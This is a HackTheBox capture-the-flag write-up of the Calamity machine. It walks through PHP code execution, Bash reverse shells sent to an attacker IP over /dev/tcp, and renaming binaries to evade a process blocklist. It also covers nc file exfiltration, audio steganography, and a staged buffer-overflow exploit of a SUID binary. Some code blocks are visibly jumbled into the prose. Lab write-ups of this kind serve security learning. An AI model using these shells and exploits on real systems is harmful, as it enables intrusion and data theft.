Calamity was released as Insane, but looking at the user ratings, it looked more like an easy/medium box. The user path to through the box was relatively easy. Some basic enumeration gives access to a page that will run arbitrary PHP, which provides execution and a shell. There’s an audio steg challenge to get the user password and a user shell. People likely rated the box because there was an unintended root using lxd. I’ve done that before, and won’t show it here. The intended path was a contrived but interesting pwn challenge that involved three stages of input, the first two exploiting a very short buffer overflow to get access to a longer buffer overflow and eventually a root shell. In Beyond Root, I’ll look at some more features of the source code for the final binary to figure out what some assembly did, and why a simple return to libc attack didn’t work.

Box Stats

Name: Calamity
Release Date: 30 Jun 2017
Retire Date: 27 Aug 2020
OS: Linux
Base Points: Insane [50]
Hard [40]
Rated Difficulty:
Arcocapaz 00 days, 00 hours, 26 mins, 43 seconds
RoliSoft 04 days, 01 hours, 55 mins, 12 seconds
Creator: forGP

Recon

nmap

nmap found two open TCP ports, SSH (22) and HTTP (80):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-24 06:44 EDT
Nmap scan report for 10.10.10.27
Host is up (0.016s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds
root@kali# nmap -p 22,80 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-24 06:47 EDT
Nmap scan report for 10.10.10.27
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:46:31:9c:b5:71:c5:96:91:7d:e4:63:16:f9:59:a2 (RSA)
|   256 10:c4:09:b9:48:f1:8c:45:26:ca:f6:e1:c2:dc:36:b9 (ECDSA)
|_  256 a8:bf:dd:c0:71:36:a8:2a:1b:ea:3f:ef:66:99:39:75 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Brotherhood Software
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.49 seconds


Based on the OpenSSH and Apache versions, the host is likely running Ubuntu xenial 16.04.

Website - TCP 80

Site

The site is for Brotherhood Software:

It claims to be under development, and not functional yet.

Checking index.php returns 404. index.html returns the page, so no indication of what’s running on the server.

Directory Brute Force

I’ll run gobuster against the site. Even though I don’t know that the site is running PHP, given the Apache on Ubuntu stack, I’ll include -x php because that seems the most likely to me:

root@kali# gobuster dir -u http://10.10.10.27 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 20 -o scans/gobuster-root-medium-php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.27
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/08/22 16:36:08 Starting gobuster
===============================================================
/server-status (Status: 403)
===============================================================
2020/08/22 16:41:26 Finished
===============================================================


Within seconds, /upload and /admin.php pop up. /admin.php is interesting for sure.

I jumped over into Repeater to test out some simple SQLi, when I noticed a comment in the returning page:

<html><body>

<form method="post">
</form>
</body></html>
GET OUT OF HERE


HTTP/1.1 200 OK
Date: Mon, 24 Aug 2020 11:07:15 GMT
Server: Apache/2.4.18 (Ubuntu)
refresh: 0;
Vary: Accept-Encoding
Content-Length: 451
Connection: close
Content-Type: text/html; charset=UTF-8


On refresh, the browser is still at /admin.php, but now the content is different:

If I enter some HTML like <b>0xdf</b> and submit, that shows up at the end of the page with the HTML rendered (<b> makes the text bold):

Entering PHP seems to evaluate, such as <?php echo "test"; ?> just prints “test”:

Shell as www-data

Execution

I just showed that PHP is being executed. I can use system to run commands. For example, entering <?php system("id"); ?> shows that it’s running as www-data:

root@kali# curl -s -G http://10.10.10.27/admin.php --data-urlencode 'html=<?php system("id"); ?>' --cookie adminpowa=noonecares | sed -e '1,/<\/body><\/html>/ d'
uid=33(www-data) gid=33(www-data) groups=33(www-data)


I’m using sed here to remove all the content up to </body></html> at the end to just get the output. I’m also using curl with -G and --data-urlencode to url encode parameters in the GET request.

RevShell Fail

With execution, rather than enumerate through this webshell, I’d rather get a legit shell. I started nc listening on my host, and ran a Bash reverse shell:

root@kali# curl -s -G http://10.10.10.27/admin.php --data-urlencode 'html=<?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.24/443 0>&1\""); ?>' --cookie adminpowa=noonecares


I get a connection back, but it immediately dies:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.27.
Ncat: Connection from 10.10.10.27:47324.
bash: cannot set terminal process group (1376): Inappropriate ioctl for device
bash: no job control in this shell
curl -s -G http://10.10.10.27/admin.php --data-urlencode "html=<?php system(\"$cmd\"); ?>" --cookie adminpowa=noonecares | sed -e '1,/<\/body><\/ html>/ d' done  It will print a prompt and then read into the variable $cmd. If $cmd is “exit”, it quits. Then it will curl passing in the command, and loop. This shell won’t keep state or allow me to change directories, but it works well enough to do some enumeration: root@kali# rlwrap ./webshell.sh calamity> id uid=33(www-data) gid=33(www-data) groups=33(www-data) calamity> pwd /var/www/html  I’ll run with rlwrap to get up arrow key for previous command. Enumeration There’s one user with a home directory on the box: calamity> ls -la /home total 12 drwxr-xr-x 3 root root 4096 Jun 27 2017 . drwxr-xr-x 22 root root 4096 Jun 29 2017 .. drwxr-xr-x 7 xalvas xalvas 4096 Jun 29 2017 xalvas  In there, I can see user.txt, as well as a few other files: calamity> ls -la /home/xalvas total 3180 drwxr-xr-x 7 xalvas xalvas 4096 Jun 29 2017 . drwxr-xr-x 3 root root 4096 Jun 27 2017 .. -rw-r--r-- 1 xalvas xalvas 220 Jun 27 2017 .bash_logout -rw-r--r-- 1 xalvas xalvas 3790 Jun 27 2017 .bashrc drwx------ 2 xalvas xalvas 4096 Jun 27 2017 .cache -rw-rw-r-- 1 xalvas xalvas 43 Jun 27 2017 .gdbinit drwxrwxr-x 2 xalvas xalvas 4096 Jun 27 2017 .nano -rw-r--r-- 1 xalvas xalvas 655 Jun 27 2017 .profile -rw-r--r-- 1 xalvas xalvas 0 Jun 27 2017 .sudo_as_admin_successful drwxr-xr-x 2 xalvas xalvas 4096 Jun 27 2017 alarmclocks drwxr-x--- 2 root xalvas 4096 Jun 29 2017 app -rw-r--r-- 1 root root 225 Jun 27 2017 dontforget.txt -rw-r--r-- 1 root root 1934 Aug 24 07:41 intrusions drwxrwxr-x 4 xalvas xalvas 4096 Jun 27 2017 peda -rw-r--r-- 1 xalvas xalvas 3196724 Jun 27 2017 recov.wav -r--r--r-- 1 root root 33 Jun 27 2017 user.txt  I can actually read user.txt: calamity> cat /home/xalvas/user.txt 0790e7be************************  intrustions is an interesting file: calamity> cat /home/xalvas/intrusions POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-28 04:55:42.796288 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-28 05:22:11.228988 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-28 05:23:23.424719 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-29 02:43:57.083849 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS python ...PROCESS KILLED AT 2017-06-29 02:48:47.909739 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS sh ...PROCESS KILLED AT 2017-06-29 06:25:04.202315 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS sh ...PROCESS KILLED AT 2017-06-29 06:25:04.780685 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS python ...PROCESS KILLED AT 2017-06-29 06:25:06.209358 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-29 12:15:32.329358 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-29 12:15:32.330115 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-29 12:16:10.508710 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-29 12:16:10.510537 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS python3 ...PROCESS KILLED AT 2017-12-24 10:30:28.836132 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS bash ...PROCESS KILLED AT 2020-08-23 07:30:29.924054 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2020-08-23 07:31:00.062785 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2020-08-23 07:31:14.127421 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS bash ...PROCESS KILLED AT 2020-08-23 07:36:15.442945 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2020-08-23 07:37:29.782751 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS python ...PROCESS KILLED AT 2020-08-23 07:41:12.786494  The times line up with when I was trying to get a reverse shell. It seems something is killing processes, and based on the word “blacklist”, it seems likely that certain processes are being identified by process name and killed. Both versions of Python, Netcat, sh, and Bash all seem to be triggers. Shell The problem with using blocklists on filenames as a defensive measure is that it’s not that hard for the attacker to make a copy of a binary and give it a different un-blocklisted name. calamity> cp /bin/bash /dev/shm/0xdf calamity> chmod +x /dev/shm/0xdf calamity> /dev/shm/0xdf -c '/dev/shm/0xdf -i >& /dev/tcp/10.10.14.24/443 0>&1'  I get a shell at nc: root@kali# nc -lnvp 443 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.10.27. Ncat: Connection from 10.10.10.27:47338. 0xdf: cannot set terminal process group (1376): Inappropriate ioctl for device 0xdf: no job control in this shell www-data@calamity:/var/www/html$


Alternatively, I can upload something like phpbash. I can’t write to the webroot, but I can write to the /uploads folder:

calamity> wget 10.10.14.24/phpbash.php -O uploads/df.php
df.php


It works:

Or, I could skip getting a shell all together. I’ve already got user.txt, and the only other files I need from this step are retrievable through the webshell.

Priv: www-data –> xalvas

Enumeration

Also in xalvas’ home directory is a file called recov.wav. Recov sounds like recovery, so it’s worth taking a look at (also, steg was way more common in early HTB days). There are two move audio files in the alarmclocks folder:

calamity> ls -l /home/xalvas/alarm*
total 5708
-rw-r--r-- 1 root root 3196668 Jun 27  2017 rick.wav
-rw-r--r-- 1 root root 2645839 Jun 27  2017 xouzouris.mp3


I’ll use a renamed copy of nc to exfil:

calamity> cp /bin/nc /dev/shm/0xdfcat
calamity> cat /home/xalvas/recov.wav | base64 | /dev/shm/0xdfcat 10.10.14.24 443


Back at Kali:

root@kali# nc -lnvp 443 | base64 -d > recov.wav
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.27.
Ncat: Connection from 10.10.10.27:47346.


I did the same for the other two files:

calamity> cat /home/xalvas/alarmclocks/rick.wav | base64 | /dev/shm/0xdfcat 10.10.14.24 443
calamity> cat /home/xalvas/alarmclocks/xouzouris.mp3 | base64 | /dev/shm/0xdfcat 10.10.14.24 443


If I wanted to do that without renaming nc, I could also just do it through curl having PHP print the contents of the file:

root@kali# curl -s -G http://10.10.10.27/admin.php --data-urlencode "html=<?php system(\"cat /home/xalvas/recov.wav\"); ?>" --cookie adminpowa=noonecares | sed -e '1,/<\/body><\/html>/ d' > recov-curl.wav

root@kali# md5sum recov*


Audio Enumeration

I used play (from apt install sox libsox-fmt-all) to play the audio files from the command line. The first file, xouzouris.mp3 is something I didn’t recognize, but acrcloud.com identifies it as De Luilaksmurf by De Smurfen:

It’s 2:45 long:

root@kali# play xouzouris.mp3

xouzouris.mp3:

File Size: 2.65M     Bit Rate: 128k
Encoding: MPEG audio
Channels: 2 @ 16-bit
Samplerate: 44100Hz
Replaygain: off
Duration: 00:02:45.33

In:1.46% 00:00:02.41 [00:02:42.91] Out:106k  [   -==|===   ] Hd:5.7 Clip:0
Aborted.


The other two songs are 18 seconds of Rickroll:

root@kali# play rick.wav
play WARN alsa: can't encode 0-bit Unknown or not applicable

rick.wav:

File Size: 3.20M     Bit Rate: 1.41M
Encoding: Signed PCM
Channels: 2 @ 16-bit
Samplerate: 44100Hz
Replaygain: off
Duration: 00:00:18.12

In:23.1% 00:00:04.18 [00:00:13.94] Out:184k  [!=====|=====!] Hd:0.0 Clip:0
Aborted.
root@kali# play recov.wav
play WARN alsa: can't encode 0-bit Unknown or not applicable

recov.wav:

File Size: 3.20M     Bit Rate: 1.41M
Encoding: Signed PCM
Channels: 2 @ 16-bit
Samplerate: 44100Hz
Replaygain: off
Duration: 00:00:18.12

In:30.2% 00:00:05.48 [00:00:12.64] Out:242k  [!=====|=====!] Hd:0.0 Clip:0
Aborted.


It’s interesting that they both sound exactly the same, but they are different files:

root@kali# md5sum *.wav
a69077504fc70a0bd5a0e9ed4982a6b7  rick.wav


Steg

Steganography is hiding information in another file by changing bits in places that won’t typically be noticed by someone looking at the file for its intended purpose. Given that have two .wav files that sound identical but are not, and one is called recov, I’m looking for a way to pull information out of that file.

I’ll open Audacity and File –> Import both files in:

If I play this, I just hear the rickroll, as it’s just playing both files at the same time, and both files sound basically the same.

I’ll select all of rick.wav, then go to Effects –> Invert. This will basically create a negative wave, so that when the two are played together, it will cancel out the sound that’s the same in the other one. I can play it from here, and hear a voice talking.

To see it visually, File –> Export and save it as a new .wav file. I’ll open that in a new instance of Audacity:

There’s a burst at the beginning and at the end.

The first part says: 47936..*, and the second part says: Your password is 185.

SSH

root@kali# sshpass -p '18547936..*' ssh xalvas@10.10.10.27
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic i686)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com

9 packages can be updated.

Last login: Fri Jun 30 08:27:25 2017 from 10.10.13.44
xalvas@calamity:~$ Priv: xalvas –> root Unintended LXD Path There’s an unintended LXD path for this box. I actually learned this method when I wanted to use it for other CTFs and I found myself watching Ippsec do it in his video for this box. I had forgotten about this until working the box now. xalvas is in the lxd group: xalvas@calamity:~$ id


I’ve shown this privesc a couple times (see Obscurity and Mischief). It works here too, but I won’t show it. I’ll focus on the intended way.

Enumeration

In xalvas’ home directory there’s an app folder that I couldn’t access as www-data:

xalvas@calamity:~$ls -ld app/ drwxr-x--- 2 root xalvas 4096 Jun 29 2017 app/  Inside it, there’s a 32-bit SUID executable, goodluck, and a source file, src.c: xalvas@calamity:~/app$ ls -l
total 20
-r-sr-xr-x 1 root root 12584 Jun 29  2017 goodluck
-r--r--r-- 1 root root  3936 Jun 29  2017 src.c

xalvas@calamity:~/app$file goodluck goodluck: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3c99898fca6a0c3ac721b3f3c38ad7ff188f999c, not stripped  I’ll copy both back to my machine (though I’m not sure I actually used a local copy of the binary): root@kali# sshpass -p '18547936..*' scp xalvas@10.10.10.27:~/app/* .  Run It I can run goodluck, and it waits a second, and then prompts for a filename. I’ll give it something, and then it prints a menu: xalvas@calamity:~/app$ /home/xalvas/app/goodluck

Filename:  /etc/passwd

2) print session ID
4)change user
5)exit

action:


If the file doesn’t exist, it doesn’t print the menu but just exits.

Based on what I enter at the “action:” prompt, the program:

Option Result
2 Segmentation fault
3 Segmentation fault
4 Prompts for filename, back to menu if exists, exit otherwise
5 Exits
Other Asks for a number between 1 and 5, and re-prints menu

Not much else to do here, but the seg faults are interesting for sure. I’ll pivot to the source code.

Source Code Analysis

Definitions / main

Walking through the code, the first thing it does after the include statements is define two constants and then create a struct named hey:

#define USIZE 12
#define ISIZE 4

struct f {
char user[USIZE];
//int user;
int secret;
int session;
}
hey;


It’s worth noting that the username used to be an int (four bytes, matching ISZIE), but seems to have been changed to an array of char that’s 12 bytes (USIZE).

Then a bunch of functions are defined (I’ll skip them for now) and then last comes main. It runs some assembly instructions (which aren’t obvious now, but I’ll look at them in gdb later), then a sleep(2) (explains the pause on starting), and the initialization of some variables, generating a random number for the session id sess (which is then stored in hey.sess), and a variable protect which is the current time stamp xored by 0x01010101. hey.admin is also set to 0.

There’s then a call to createusername().

void createusername() {
unsigned char for_user[ISIZE];

printf("\nFilename:  ");

char fn[30];
scanf(" %28s", & fn);

flushit();
copy(fn, for_user,USIZE);

strncpy(hey.user,for_user,ISIZE+1);
hey.user[ISIZE+1]=0;

}


This is where the prompt for the filename is printed, up to 28 characters are read into fn, and it is passed into copy. copy opens the file fn, reads up to length bytes, and stores the result in the dst variable:

void copy(unsigned char * src, unsigned char * dst,int length) {

FILE * ptr;

ptr = fopen(src, "rb");
if (ptr == 0) exit(1);
HTB hint: yes you can read every file you want,
intended way of sovling this,...it's just an alternative way of providing input !
tmp is not listable so other players cant see your file,unless you create a guessable file such as /tmp/bof !*/

fclose(ptr);

}


So in this case, copy(fn, for_user,USIZE) will read the first 12 bytes of the file into for_user. But for_user is only four bytes long! This is a buffer overflow (bof). Unfortunately for me, it’s a very small bof. It reads 12 bytes into a four byte buffer, and the fifth byte is set to null. I’ll look at this overflow more later.

main Loop

After setting hey.user in createusername, main enters a loop:

  while (1) {
char action = print();

if (action == '1') {
//I striped the code for security reasons !

} else if (action == '2') {
printdeb(hey.session);
} else if (action == '3') {
//I found some bugs that can do us a lot of harm...I'm trying to contain them but I think I'll have to
//write it again from scratch !I hope it's completely harmless now ...
}

else if (action == '5') return;

}


print() prints the menu and records the response, ensuring that it’s a digit one through five.

'1' does nothing.

'2' calls printdeb(hey.session), which simply calls printf to print the hex value passed in with the string debug info: and some newlines.

'4' calls createusername() again, allowing the user to load a different file.

'5' returns, breaking the loop.

'3' calls attempt_login(hey.admin, protect, hey.secret).

Anytime there’s a comment saying “you’ll never be able to do something”, it’s worth looking at. Looking at attempt_login, it makes two checks:

void attempt_login(int shouldbezero, int safety1, int safety2) {

if (safety2 != safety1) {
printf("hackeeerrrr");
fflush(stdout);
exit(666);
}
if (shouldbezero == 0) {
fflush(stdout);
} else debug();

}


If safety1 is not equal to safety2, it prints a message and exits. It’s called with those variables being protect and hey.secret. At the start of main, protect is generated using a timestamp and an xor pattern, and then the same value is set as hey.secret, so those two should be the same. This is a protection (kind of like a stack canary) to prevent me from overflowing the hey structure and changing things.

The second check is if shouldbezero (in this case, hey.admin) is 0. It is set to 0 at the start of main, so without some exploitation, this will return true, and then the program will print “access denied!” and return to the main loop. If I can somehow change the value of hey.admin to be non-zero (while keeping hey.secret as the same as protect), it will call debug.

debug

The debug function starts by printing that it’s an intentionally vulnerable bit of code:

void debug() {

printf("\nthis function is problematic on purpose\n");
printf("\nI'm trying to test some things...and that means get control of the program! \n");

char vuln[64];

printf("vulnerable pointer is at %x\n", vuln);
printf("memory information on this binary:\n", vuln);

printmaps();

printf("\nFilename:  ");

char fn[30];
scanf(" %28s", & fn);
flushit();
copy(fn,vuln,100);//this shall trigger a buffer overflow

return;

}


It first prints out the address of the vuln buffer, as well as the memory maps for the binary. Then it reads a filename, and calls the same copy function as above to read up to 100 bytes from that file into the 64 byte buffer, which is an obvious overflow (and is called out by the comments).

Protections

In order to make an exploit, I need a to understand what protections are in place:

gdb-peda$checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : Partial  No canaries means that I can exploit the bof in debug should I get the code there. NX means that I’ll have to either not run code from the stack, or find a way to reverse that. PIE means that I can’t rely on gadgets from the main program, as it will be jumping around in memory on each run. ASLR is disabled on Calamity: xalvas@calamity:~$ cat /proc/sys/kernel/randomize_va_space
0


Summary To This Point

Based on the analysis thus far, I can see how to interact with this program by giving it files to read in. There’s a very small buffer overflow in that function that I doubt will overwrite a return address, but I need to look into that. There’s also a likely exploitable (both based on my assessment and the comments in the code) buffer overflow in the debug function, but to get there, I’ll need a way to change the value of hey.admin without messing up hey.secret.

Dynamic Analysis

Now I’ll turn to gdb to look at how the program works.

Assembly in main

At the start of main, there’s this:

int main(int argc, char * argv[]) {
asm(
"push $0x00000001\n" "push$0x0003add6\n"
"push $0xb7e1a000\n" "call 0x37efcd50\n" "add$0x0c,%esp\n"

"push $0x00000005\n" "push$0x0003a000\n"
"push $0xb7e1a000\n" "call 0x37efcd50\n" "add$0x0c,%esp\n"
);


It’s clearly calling a function at 0x37efcd50 twice, each time pushing three arguments onto the stack, and removing that extra stack space after (by adding 3 x 4 = 0xc bytes back to ESP).

If I open gdb and put a break at the start of main (b main), and then run (r), I can see this assembly a few instructions in:

   0x80000d94 <main+29>:        push   0x1
0x80000d9b <main+36>:        push   0xb7e1a000
0x80000da0 <main+41>:        call   0xb7efcd50 <mprotect>
0x80000da8 <main+49>:        push   0x5
0x80000daa <main+51>:        push   0x3a000
0x80000daf <main+56>:        push   0xb7e1a000
0x80000db4 <main+61>:        call   0xb7efcd50 <mprotect>


These are calls to mprotect, which is defined here. This function will the permissions on sections of memory. I’ll dig into this more in Beyond Root, but for now, I’ll just note the address of mprotect, as I’ll need it later.

Small Overflow

I spent a minute looking at the disassembly for createusername. The stack frame for this function looks like:

The overflow is on for_user, which allows me to write twelve bytes instead of four. The only thing I can overflow with that is the stored EBX for main. When this function starts, it pushes EBX onto the stack, and then on return, it pops it back into EBX, preserving the value from main. main expects to have EBX preserved across this function call, but I can change it.

To show this, I’ll create a file:

xalvas@calamity:~$echo -n "AAAABBBBCCCC" > /tmp/0xdf  I’ll open gdb and put a break point at the call to createusername with b *main+187, and then run: Breakpoint 3, 0x80000e32 in main () gdb-peda$ p $ebx$10 = 0x80003000
gdb-peda$n Filename: /tmp/0xdf gdb-peda$ p $ebx$11 = 0x43434343


Before createusername, the value of EBX is 0x80003000. As createusername is called, I’ve overwritten the EBX buffer in main to 0x43434343.

So what good is that? EBX is used as a reference to get to the hey structure. For example, when menu 2 is entered, the assembly for printdeb(hey.session) looks like:

   0x80000e4b <+212>:   lea    eax,[ebx+0x68]
0x80000e51 <+218>:   mov    eax,DWORD PTR [eax+0x14]
0x80000e54 <+221>:   sub    esp,0xc
0x80000e57 <+224>:   push   eax
0x80000e58 <+225>:   call   0x80000be3 <printdeb>


It loads EBX+0x68 into EAX, and then goes 0x14 bytes into that. That fits how the struct is defined (I added the offsets as comments):

  struct f {
char user[USIZE]; // 0x00-0x0b
int secret;       // 0x0c-0x0f
int session;      // 0x14-0x17
}
hey;


This means I can change the values of the items in hey, albeit in a limited way as I can only shift the structure, not change an individual value.

Exploit

Stage 1 - Leak hey.secret

I want to change where the computer looks for hey such that hey.admin is no longer 0. But I need to do that in a way that hey.secret still is the same as protect. The way to do that is to leak hey.secret using the printdeb function.

The program uses EBX+0x7c as a reference for hey.session. If I change EBX to be eight less than it is intended, the what the program thinks is hey.session now points to hey.secret, meaning a call to printdeb will leak it. After I change EBX, the references main uses to get things from hey will be wrong (in a good way):

The value stored in EBX isn’t changing from run to run. It’s static 0xbffff658. I can subtract 8:

gdb-peda$p$ebx - 8
$4 = 0x80002ff4  I’ll add stage 2 to the script: ## Stage 2 - Access Debug log.info(f'Writing Stage 2 exploit to {fn}') sshConn.upload_data(p32(int(secret, 16)) + b'AAAA' + p32(0x80002ff4), fn) goodluck.sendline("4") goodluck.recv(4096) goodluck.sendline(fn) goodluck.recv(4096) goodluck.sendline("3") print(goodluck.recv(4096).decode())  It prints out the start of debug and waits for a filename: root@kali# python3 rootpwn.py [x] Connecting to 10.10.10.27 on port 22 [+] Connecting to 10.10.10.27 on port 22: Done [*] xalvas@10.10.10.27: Distro Ubuntu 16.04 OS: linux Arch: i386 Version: 4.4.0 ASLR: Disabled Note: Susceptible to ASLR ulimit trick (CVE-2016-3672) [x] Starting remote process '/home/xalvas/app/goodluck' on 10.10.10.27 [+] Starting remote process '/home/xalvas/app/goodluck' on 10.10.10.27: pid 8366 [+] Found secret: 0x1019d3b this function is problematic on purpose I'm trying to test some things...and that means get control of the program! vulnerable pointer is at bffffbf0 memory information on this binary: 80000000-80002000 r-xp 00000000 08:01 404837 /home/xalvas/app/goodluck 80002000-80003000 r--p 00001000 08:01 404837 /home/xalvas/app/goodluck 80003000-80004000 rw-p 00002000 08:01 404837 /home/xalvas/app/goodluck 80004000-80025000 rw-p 00000000 00:00 0 [heap] b7e1a000-b7e54000 r-xp 00000000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7e54000-b7e55000 r--p 0003a000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7e55000-b7fca000 r-xp 0003b000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7fca000-b7fcc000 r--p 001af000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7fcd000-b7fd0000 rw-p 00000000 00:00 0 b7fd6000-b7fd8000 rw-p 00000000 00:00 0 b7fd8000-b7fda000 r--p 00000000 00:00 0 [vvar] b7fda000-b7fdb000 r-xp 00000000 00:00 0 [vdso] b7fdb000-b7ffd000 r-xp 00000000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so b7ffd000-b7ffe000 rw-p 00000000 00:00 0 b7ffe000-b7fff000 r--p 00022000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so b7fff000-b8000000 rw-p 00023000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so bfedf000-c0000000 rw-p 00000000 00:00 0 [stack] Filename:  Find Offset in debug I left off at a file prompt, but this time I can give a file and it will read 100 bytes into a 64 byte buffer. I’m not just messing with EBX here, but I should be able to overwrite the return address and get more control. First, I need to find the offset to the overwrite. I’ll use msf-pattern_create to create a pattern: root@kali# msf-pattern_create -l 120 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9  I need to run in gdb to get EIP when this crashes. I could run the exploit locally, or just do a manual exploitation on Calamity. I opted for the latter. I’ll write the stage 1 exploit to a file: xalvas@calamity:~$ echo -en "AAAAAAAA\xf8\x2f\x00\x80" > /tmp/0xdf


Now I’ll run goodluck in gdb up to the leak:

xalvas@calamity:~$gdb -q app/goodluck Reading symbols from app/goodluck...(no debugging symbols found)...done. gdb-peda$ r
Starting program: /home/xalvas/app/goodluck

Filename:  /tmp/0xdf

2) print session ID
4)change user
5)exit

action: 2

debug info: 0x109616d

2) print session ID
4)change user
5)exit

action:


Now I’ll use that leaked secret to write stage 2:

xalvas@calamity:~$echo -en "\x6d\x61\x09\x01AAAA\xf4\x2f\x00\x80" > /tmp/0xdf  I’ll continue:  action: 4 Filename: /tmp/0xdf -----MENU----- 1) leave message to admin 2) print session ID 3)login (admin only) 4)change user 5)exit action: 3 this function is problematic on purpose I'm trying to test some things...and that means get control of the program! vulnerable pointer is at bffff5c0 memory information on this binary: 80000000-80002000 r-xp 00000000 08:01 404837 /home/xalvas/app/goodluck 80002000-80003000 r--p 00001000 08:01 404837 /home/xalvas/app/goodluck 80003000-80004000 rw-p 00002000 08:01 404837 /home/xalvas/app/goodluck 80004000-80025000 rw-p 00000000 00:00 0 [heap] b7e1a000-b7e54000 r-xp 00000000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7e54000-b7e55000 r--p 0003a000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7e55000-b7fca000 r-xp 0003b000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7fca000-b7fcc000 r--p 001af000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so b7fcd000-b7fd0000 rw-p 00000000 00:00 0 b7fd6000-b7fd8000 rw-p 00000000 00:00 0 b7fd8000-b7fda000 r--p 00000000 00:00 0 [vvar] b7fda000-b7fdb000 r-xp 00000000 00:00 0 [vdso] b7fdb000-b7ffd000 r-xp 00000000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so b7ffd000-b7ffe000 rw-p 00000000 00:00 0 b7ffe000-b7fff000 r--p 00022000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so b7fff000-b8000000 rw-p 00023000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so bfedf000-c0000000 rw-p 00000000 00:00 0 [stack] Filename:  Put the pattern into a file: xalvas@calamity:~$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9" > /tmp/0xdf


And give that to the debug function. On hitting enter, it crashes:

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x63413563 in ?? ()


I can take that back to my box and find the offset:

root@kali# msf-pattern_offset -q 0x63413563
[*] Exact match at offset 76


Stage 3 - Shell

My first instinct was to use a ret2libc attack. That failed, and I’ll cover it in Beyond Root.

